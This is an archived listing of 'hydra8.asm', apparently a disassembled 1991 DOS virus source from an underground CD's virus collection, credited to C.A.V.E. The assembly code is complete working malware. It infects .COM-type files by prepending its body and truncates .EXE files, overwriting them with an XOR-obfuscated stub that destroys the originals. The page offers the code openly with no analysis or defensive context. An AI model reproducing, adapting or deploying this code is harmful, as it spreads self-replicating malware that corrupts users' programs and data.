home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / h / hydra8.asm < prev   
Encoding:
Assembly Source File  |  1998-01-14  |  5.6 KB  |  221 lines

  1.  
  2.  
  3. PAGE  59,132
  4.  
  5.  
  6.  
  7. ;██████████████████████████████████████████████████████████████████████████
  8.  
  9. ;██                                         ██
  10.  
  11. ;██                    HYDRA8                         ██
  12.  
  13. ;██                                         ██
  14.  
  15. ;██      Created:   28-Aug-91                             ██
  16.  
  17. ;██      Passes:    5           Analysis Options on: W                 ██
  18.  
  19. ;██      Copyright (c)                                 ██
  20.  
  21. ;██                                         ██
  22.  
  23. ;██████████████████████████████████████████████████████████████████████████
  24.  
  25.  
  26.  
  27. psp_cmd_size    equ    80h
  28.  
  29. data_17e    equ    1EFh
  30.  
  31. data_18e    equ    1F2h
  32.  
  33. data_19e    equ    9D9Ah
  34.  
  35.  
  36.  
  37. seg_a        segment    byte public
  38.  
  39.         assume    cs:seg_a, ds:seg_a
  40.  
  41.  
  42.  
  43.  
  44.  
  45.         org    100h
  46.  
  47.  
  48.  
  49. hydra8        proc    far
  50.  
  51.  
  52.  
  53. start:
  54.  
  55.         jmp    loc_3
  56.  
  57.         db     59h, 44h, 00h, 00h
  58.  
  59. data_3        db    'HyDra-8   Beta - Not For Release'
  60.  
  61.         db    '. *.CO?'
  62.  
  63.         db    0
  64.  
  65. data_6        dw    0, 8B39h
  66.  
  67. data_8        dw    0
  68.  
  69. data_9        db    0
  70.  
  71.         db    18 dup (0)
  72.  
  73. data_10        db    0
  74.  
  75.         db    10 dup (0)
  76.  
  77. data_11        db    0
  78.  
  79.         db    0, 0, 0, 0, 0, 0
  80.  
  81. data_12        db    0
  82.  
  83.         db    0, 0, 0, 0, 0, 0
  84.  
  85. copyright    db    'Copyright (c)'
  86.  
  87.         db    '  1991 by C.A.V.E.  '
  88.  
  89. data_13        db    2Ah
  90.  
  91.         db     2Eh, 45h, 58h, 45h, 00h
  92.  
  93. data_14        db    33h
  94.  
  95.         db    0C9h, 1Eh, 52h,0E8h, 06h, 00h
  96.  
  97.         db    0E8h, 13h, 00h,0EBh, 36h, 90h
  98.  
  99.         db    0BEh, 48h, 01h
  100.  
  101.         db    0BFh, 5Ah, 01h,0B9h, 12h, 00h
  102.  
  103.  
  104.  
  105. locloop_1:
  106.  
  107.         xor    byte ptr [si],0F5h
  108.  
  109.         movsb                ; Mov [si] to es:[di]
  110.  
  111.         loop    locloop_1        ; Loop if cx > 0
  112.  
  113.  
  114.  
  115.         retn
  116.  
  117.         db    0B8h, 00h, 0Fh,0CDh, 10h,0B4h
  118.  
  119.         db     00h,0CDh, 10h,0B8h, 00h, 02h
  120.  
  121.         db    0B6h, 0Ch,0B2h, 1Fh,0CDh, 10h
  122.  
  123.         db     33h,0D2h
  124.  
  125.         db    0BAh, 5Ah, 01h,0B4h, 09h,0CDh
  126.  
  127.         db     21h,0B8h, 00h, 02h,0B6h, 18h
  128.  
  129.         db    0B2h, 00h,0CDh, 10h,0C3h
  130.  
  131.         db    0B8h, 00h, 4Ch,0CDh, 21h, 00h
  132.  
  133.         db    0A2h, 9Dh, 9Ah,0F5h, 9Ch, 86h
  134.  
  135.         db    0F5h
  136.  
  137.         db    0BFh, 9Ah, 9Dh, 9Bh,0F5h,0B2h
  138.  
  139.         db     94h, 99h, 81h,0CAh,0D1h
  140.  
  141. loc_3:
  142.  
  143.         push    ax
  144.  
  145.         mov    ax,cs
  146.  
  147.         add    ax,1000h
  148.  
  149.         xor    di,di            ; Zero register
  150.  
  151.         mov    cx,1EFh
  152.  
  153.         mov    si,100h
  154.  
  155.         mov    es,ax
  156.  
  157.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  158.  
  159.         mov    ah,1Ah
  160.  
  161.         mov    dx,offset data_9
  162.  
  163.         int    21h            ; DOS Services  ah=function 1Ah
  164.  
  165.                         ;  set DTA(disk xfer area) ds:dx
  166.  
  167.         mov    ah,4Eh            ; 'N'
  168.  
  169.         mov    dx,offset data_3+22h    ; ('*')
  170.  
  171.         int    21h            ; DOS Services  ah=function 4Eh
  172.  
  173.                         ;  find 1st filenam match @ds:dx
  174.  
  175.         jc    loc_7            ; Jump if carry Set
  176.  
  177. loc_4:
  178.  
  179.         mov    ah,3Dh            ; '='
  180.  
  181.         mov    al,2
  182.  
  183.         mov    dx,offset data_11
  184.  
  185.         int    21h            ; DOS Services  ah=function 3Dh
  186.  
  187.                         ;  open file, al=mode,name@ds:dx
  188.  
  189.         mov    bx,ax
  190.  
  191.         push    es
  192.  
  193.         pop    ds
  194.  
  195.         mov    ax,3F00h
  196.  
  197.         mov    cx,0FFFFh
  198.  
  199.         mov    dx,data_17e
  200.  
  201.         int    21h            ; DOS Services  ah=function 3Fh
  202.  
  203.                         ;  read file, bx=file handle
  204.  
  205.                         ;   cx=bytes to ds:dx buffer
  206.  
  207.         add    ax,1EFh
  208.  
  209.         mov    cs:data_8,ax
  210.  
  211.         cmp    word ptr ds:data_18e,4459h
  212.  
  213.         jne    loc_5            ; Jump if not equal
  214.  
  215.         mov    ah,3Eh            ; '>'
  216.  
  217.         int    21h            ; DOS Services  ah=function 3Eh
  218.  
  219.                         ;  close file, bx=file handle
  220.  
  221.         push    cs
  222.  
  223.         pop    ds
  224.  
  225.         mov    ah,4Fh            ; 'O'
  226.  
  227.         int    21h            ; DOS Services  ah=function 4Fh
  228.  
  229.                         ;  find next filename match
  230.  
  231.         jc    loc_8            ; Jump if carry Set
  232.  
  233.         jmp    short loc_4
  234.  
  235. loc_5:
  236.  
  237.         xor    cx,cx            ; Zero register
  238.  
  239.         mov    dx,cx
  240.  
  241.         mov    ax,4200h
  242.  
  243.         int    21h            ; DOS Services  ah=function 42h
  244.  
  245.                         ;  move file ptr, bx=file handle
  246.  
  247.                         ;   al=method, cx,dx=offset
  248.  
  249.         jc    loc_6            ; Jump if carry Set
  250.  
  251.         mov    ah,40h            ; '@'
  252.  
  253.         xor    dx,dx            ; Zero register
  254.  
  255.         mov    cx,cs:data_8
  256.  
  257.         int    21h            ; DOS Services  ah=function 40h
  258.  
  259.                         ;  write file  bx=file handle
  260.  
  261.                         ;   cx=bytes from ds:dx buffer
  262.  
  263. loc_6:
  264.  
  265.         mov    ah,3Eh            ; '>'
  266.  
  267.         int    21h            ; DOS Services  ah=function 3Eh
  268.  
  269.                         ;  close file, bx=file handle
  270.  
  271.         push    cs
  272.  
  273.         pop    ds
  274.  
  275. loc_7:
  276.  
  277.         mov    ah,1Ah
  278.  
  279.         mov    dx,psp_cmd_size
  280.  
  281.         int    21h            ; DOS Services  ah=function 1Ah
  282.  
  283.                         ;  set DTA(disk xfer area) ds:dx
  284.  
  285.         jmp    short loc_11
  286.  
  287.         db    90h
  288.  
  289. loc_8:
  290.  
  291.         clc                ; Clear carry flag
  292.  
  293.         xor    cx,cx            ; Zero register
  294.  
  295.         push    ds
  296.  
  297.         push    dx
  298.  
  299.         mov    ah,1Ah
  300.  
  301.         mov    dx,offset data_9
  302.  
  303.         int    21h            ; DOS Services  ah=function 1Ah
  304.  
  305.                         ;  set DTA(disk xfer area) ds:dx
  306.  
  307.         mov    dx,offset data_13
  308.  
  309.         mov    ah,4Eh            ; 'N'
  310.  
  311.         xor    cx,cx            ; Zero register
  312.  
  313.         int    21h            ; DOS Services  ah=function 4Eh
  314.  
  315.                         ;  find 1st filenam match @ds:dx
  316.  
  317.         jc    loc_7            ; Jump if carry Set
  318.  
  319. loc_9:
  320.  
  321.         mov    ah,3Ch            ; '<'
  322.  
  323.         xor    cx,cx            ; Zero register
  324.  
  325.         mov    dx,offset data_11
  326.  
  327.         int    21h            ; DOS Services  ah=function 3Ch
  328.  
  329.                         ;  create/truncate file @ ds:dx
  330.  
  331.         mov    bx,ax
  332.  
  333.         jc    loc_7            ; Jump if carry Set
  334.  
  335.         mov    ax,3D02h
  336.  
  337.         mov    dx,offset data_11
  338.  
  339.         int    21h            ; DOS Services  ah=function 3Dh
  340.  
  341.                         ;  open file, al=mode,name@ds:dx
  342.  
  343.         mov    bx,ax
  344.  
  345.         clc                ; Clear carry flag
  346.  
  347.         xor    dx,dx            ; Zero register
  348.  
  349.         mov    ah,40h            ; '@'
  350.  
  351.         mov    dx,offset data_14
  352.  
  353.         mov    cx,5Ah
  354.  
  355.         int    21h            ; DOS Services  ah=function 40h
  356.  
  357.                         ;  write file  bx=file handle
  358.  
  359.                         ;   cx=bytes from ds:dx buffer
  360.  
  361.         cmp    ax,5Ah
  362.  
  363.         jb    loc_10            ; Jump if below
  364.  
  365.         mov    ah,3Eh            ; '>'
  366.  
  367.         int    21h            ; DOS Services  ah=function 3Eh
  368.  
  369.                         ;  close file, bx=file handle
  370.  
  371.         jc    loc_10            ; Jump if carry Set
  372.  
  373.         mov    ah,4Fh            ; 'O'
  374.  
  375.         int    21h            ; DOS Services  ah=function 4Fh
  376.  
  377.                         ;  find next filename match
  378.  
  379.         jnc    loc_9            ; Jump if carry=0
  380.  
  381. loc_10:
  382.  
  383.         mov    ax,4C00h
  384.  
  385.         int    21h            ; DOS Services  ah=function 4Ch
  386.  
  387.                         ;  terminate with al=return code
  388.  
  389. loc_11:
  390.  
  391.         xor    di,di            ; Zero register
  392.  
  393.         mov    si,offset data_15
  394.  
  395.         mov    cx,22h
  396.  
  397.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  398.  
  399.         pop    bx
  400.  
  401.         mov    cs:data_6,0
  402.  
  403.         mov    word ptr cs:data_6+2,es
  404.  
  405.         pop    bx
  406.  
  407.         jmp    dword ptr cs:data_6
  408.  
  409. data_15        db    1Eh
  410.  
  411.         db     07h,0B9h,0FFh,0FFh,0BEh,0EFh
  412.  
  413.         db     02h,0BFh, 00h, 01h, 2Bh,0CEh
  414.  
  415.         db    0F3h,0A4h, 2Eh,0C7h, 06h, 00h
  416.  
  417.         db     01h, 00h, 01h, 2Eh, 8Ch, 1Eh
  418.  
  419.         db     02h, 01h, 8Bh,0C3h, 2Eh,0FFh
  420.  
  421.         db     2Eh, 00h, 01h,0CDh
  422.  
  423.         db    20h
  424.  
  425.  
  426.  
  427. hydra8        endp
  428.  
  429.  
  430.  
  431. seg_a        ends
  432.  
  433.  
  434.  
  435.  
  436.  
  437.  
  438.  
  439.         end    start
  440.  
  441.